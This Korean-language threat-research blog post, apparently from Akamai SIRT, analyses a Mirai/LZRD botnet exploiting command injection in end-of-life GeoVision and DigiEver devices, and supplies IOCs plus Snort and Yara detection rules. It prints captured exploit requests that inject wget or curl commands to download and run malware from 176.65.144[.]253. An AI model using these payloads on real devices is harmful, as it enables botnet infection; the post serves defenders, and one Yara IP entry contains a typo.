Mirai 등장: 실제 악용에 무방비로 노출된 IoT 디바이스
핵심 요약
Akamai 보안 인텔리전스 대응팀(SIRT)은 지원이 중단된 GeoVision IoT 디바이스에서 명령어 인젝션 취약점 CVE-2024-6047 및 CVE-2024-11120의 실제 악용 활동을 확인했습니다.
SIRT는 2025년 4월, Akamai의 허니팟에서 해당 활동을 처음 탐지했습니다. 각각 2024년 6월과 11월에 공개된 이래 해당 취약점에 대한 첫 실제 악용 사례로 보고되었습니다..
이 취약점을 악용하는 봇넷은 이전에 보고된 DigiEver 취약점을 포함한 여러 알려진 취약점을 추가로 활용했습니다.
이번 블로그 게시물에는 이 위협에 대한 방어에 도움이 될 수 있는 감염 지표(IOC) 목록이 포함되어 있습니다.
서론
2016년부터 Mirai는 수많은 엔드포인트를 강제로 감염시켜 왔고, 이제는 단종된 GeoVision 디바이스까지 공격 범위에 포함시키고 있습니다. 2025년 4월 초, Akamai SIRT는 글로벌 허니팟 네트워크에서 /DateSetting.cgi URI를 표적으로 한 활동을 발견했습니다.
추가 분석을 통해, 이 활동이 GeoVision 디바이스에서 이전에 공개된 명령어 인젝션 취약점(CVE-2024-6047 및 CVE-2024-11120)과 연관되어 있음을 확인했습니다.
이러한 취약점은 “알려진” 취약점이었지만, 공개적으로 확인된 정보는 CVE 번호 외엔 거의 없었습니다. 이번 공격의 대상이 단종된 GeoVision IoT 디바이스에 국한된다는 점, 그리고 해당 취약점에 대한 속성이 최종적으로 벤더사의 확인을 통해 입증되었습니다.
취약점
악용은 GeoVision IoT 디바이스의 /DateSetting.cgi 엔드포인트를 표적으로 삼아 szSrvIpAddr 매개변수에 명령어를 인젝션하는 방식으로 진행됩니다. 일부 단종된 GeoVision 디바이스는 이 매개변수에 대한 사용자 입력 필터링을 제대로 수행하지 않아, 인증되지 않은 원격 공격자가 표적 시스템에서 임의의 시스템 명령어를 인젝션하고 실행할 수 있습니다.
이 명령어 인젝션은 CVE-2024-6047과 CVE-2024-11120을 통해 추적됩니다. 해당 취약점은 각각 2024년 6월과 11월에 처음 보고되었지만, 기술적 세부 정보는 공개되지 않았고, 관련 정보도 부족했으며, 실제 악용 사례 역시 알려진 바 없었습니다.
실제 악용
Akamai SIRT가 관찰한 이 URI를 표적으로 한 가장 초기 악용 시도는 2025년 4월 초에 발생했습니다.
페이로드를 해독한 결과, 봇넷은 szSrvIpAddr 옵션에 명령어를 인젝션해 ARM 기반 Mirai 멀웨어 파일이자 Mirai의 일반적인 명명 룰인 “boatnet”을 다운로드하고 실행하는 것으로 나타났습니다(그림 1).
/DateSetting.cgi dwTimeZone=2&dwGainType=0&szSrvIpAddr=time.windows.com;$(cd /tmp;wget http://176.65.144[.]253/hiddenbin/boatnet.arm7;chmod 777 boatnet.arm7;./boatnet.arm7 geovision;)&NTP_Update_time_hh=5&NTP_Update_time_mm=10&szDateM=2024/08/07&szTimeM=14:25:16&bDateFomat=0&bDateFormatMisc=0&dwIsDelay=1&Montype=0&submit=Apply
그림 1: ARM 기반 Mirai 멀웨어 파일 “boatnet”을 다운로드하고 실행하는 명령어
이 악용은 Mirai 기반 멀웨어 변종인 LZRD를 다운로드하고 실행합니다. 일반적으로 이 변종은 멀웨어가 실행될 때 표적 머신의 콘솔에 출력되는 고유 문자열을 통해 식별할 수 있습니다(그림 2).
이러한 분석은 다른 Mirai 변종들과 공통적인 공격 기능을 보인다는 추가 관찰 결과로도 뒷받침됩니다(그림 3).
sym.attack_udp_plain
sym.attack_get_opt_ip
sym.attack_tcp_ack
sym.attack_method_nfo
sym.attack_method_raw
sym.attack_method_hexflood
sym.attack_method_tcp
sym.attack_method_udphex
sym.attack_method_udphex
sym.attack_udp_custom
sym.attack_tcp_stomp
sym.attack_method_tcpxmas
sym.attack_tcp_syn
sym.attack_get_opt_int
sym.attack_method_std
sym.attack_method_ovhdrop
sym.attack_get_opt_str
sym.attack_method_ovh
sym.attack_method_nudp
sym.attack_tcp_bypass
sym.attack_method_stdhex
그림 3: LZRD Mirai 멀웨어의 공격 기능
하지만 이게 전부는 아니었습니다. 분석 과정에서 sym.resolve_cNC_addr() 함수 내에서 하드코딩된 C2(Command and Control) IP 주소가 발견되었습니다(그림 4).
봇넷의 C2 인프라를 조사하는 과정에서 일부 C2 서버 포트에서 봇넷의 C2 통신과 연관된 것으로 추정되는 배너 메시지가 발견되었습니다. 이 배너에서 파생된 Censys 쿼리를 사용해 추가 봇넷 인프라를 식별할 수 있었습니다: services.banner="*[?1049h*0;Please enter your credentials*”.
그림 5의 배너 메시지는 2023년에 보고된 InfectedSlurs 메시지와 유사합니다(Infected Slurs/TBOTNET). 보안 연구원 Fox_threatintel이 2024년 1월에 해당 이전 봇넷과의 연관성을 처음으로 제기했으며, 이 봇넷의 잔존 인프라는 여전히 활발히 운영 중인 것으로 보입니다. 해당 연구원이 제공한 쿼리는 더 이상 결과를 반환하지 않지만, 배너 문자열이 유사하다는 점은 이러한 연관성을 뒷받침합니다.
추가적으로 악용된 취약점
Akamai는 이 봇넷이 Akamai 허니팟에서 다양한 다른 취약점을 악용하려는 시도를 확인했습니다. 여기에는 Hadoop YARN 취약점, ZTE ZXV10 H108L 라우터 악용, CVE-2018-10561 그리고 Akamai가 이전에 보고한 DigiEver 취약점이 포함됩니다(그림 6).
/cgi-bin/cgi_main.cgi
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&ntp1=time.stdtime.gov.tw&ntp2=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
그림 6: DigiEver 취약점 악용
결론
Mirai 기반 봇넷은 많은 기업에게 여전히 심각한 위협으로 남아 있으며, 구형 IoT 디바이스의 광범위한 사용이 이 위협의 확산을 촉진하고 있습니다. 보안 연구원과 마찬가지로 일부 공격자도 불법 활동과 관련된 최신 취약점 공개 동향을 지속적으로 모니터링합니다. IoT 디바이스에 영향을 미치는 새로운 원격 코드 실행 또는 명령 인젝션 취약점은 그러한 공격자가 리서치 및 악용하는 주요 표적입니다.
사이버 범죄자가 봇넷을 결합하기 시작하는 가장 효과적인 방법 중 하나는 오래된 디바이스에서 보안이 부실하고 오래된 펌웨어를 표적으로 삼는 것입니다. 많은 하드웨어 제조업체가 서비스 종료된 디바이스에 대한 패치를 배포하지 않습니다(제조업체 자체가 없어진 경우도 있습니다). 영향을 받은 GeoVision 모델이 퇴출되었으며 추가 업데이트가 제공되지 않을 것이라고 알려졌습니다.
보안 패치를 사용할 수 없거나 제공될 가능성이 낮은 경우, 취약한 디바이스를 폐기하고 최신 모델로 업그레이드하는 것을 권장합니다.
Akamai와 항상 함께하세요
IOC
보안팀을 돕기 위해 IOC 목록과 Snort 및 Yara 룰을 포함시켰습니다.
네트워크 IOC에 대한 Snort 룰
C2 IP에 대한 Snort 룰
alert ip any any -> [209.141.44.28, 51.38.137.114, 176.65.144.253, 176.65.144.232, 198.23.212.246] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
C2 도메인 확인 탐지에 대한 Snort 룰(2번 봇넷)
alert http any any -> any any (
msg:"Possible Botnet C2 or Malware Distribution - connect.antiwifi.dev";
content:"connect.antiwifi.dev"; http_host; nocase;
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
멀웨어 샘플에 대한 Yara 룰
rule Botnet_Indicators
{
meta:
description = "Detects botnet malware samples and network-based indicators"
date = "2025-04-22"
severity = "high"
strings:
// Network Indicators (IP & Domain)
$ip1 = "209.141.44.28"
$ip2 = "51.38.137.114"
$ip3 = "176.65.144.2534"
$ip4 = "176.65.144.232"
$ip5 = "198.23.212.246"
$domain1 = "connect.antiwifi.dev"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714",
hash.sha256(0, filesize) == "11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114",
hash.sha256(0, filesize) == "8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e",
hash.sha256(0, filesize) == "ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516",
hash.sha256(0, filesize) == "03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3",
hash.sha256(0, filesize) == "0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d",
hash.sha256(0, filesize) == "7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a",
hash.sha256(0, filesize) == "50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5",
hash.sha256(0, filesize) == "bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda",
hash.sha256(0, filesize) == "074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3",
hash.sha256(0, filesize) == "5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a",
hash.sha256(0, filesize) == "de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88",
hash.sha256(0, filesize) == "aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8",
hash.sha256(0, filesize) == "3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6",
hash.sha256(0, filesize) == "3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e",
hash.sha256(0, filesize) == "5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a",
hash.sha256(0, filesize) == "2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5",
hash.sha256(0, filesize) == "dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c",
hash.sha256(0, filesize) == "866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a",
hash.sha256(0, filesize) == "64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530",
hash.sha256(0, filesize) == "9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582",
hash.sha256(0, filesize) == "bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f",
hash.sha256(0, filesize) == "58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b",
// Network-based Indicator Matches
any of ($ip1, $domain1)
)
}
IPv4 주소
209.141.44.28
51.38.137.114
176.65.144.253
176.65.144.232
198.23.212.246
C2용 도메인
connect.antiwifi.dev
SHA256 해시
f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714
11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114
8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e
ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516
03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3
0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d
7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a
50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5
bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda
074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3
5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a
de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88
aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8
3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6
3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e
5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a
2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5
dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c
866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a
64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530
9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582
bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f
58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b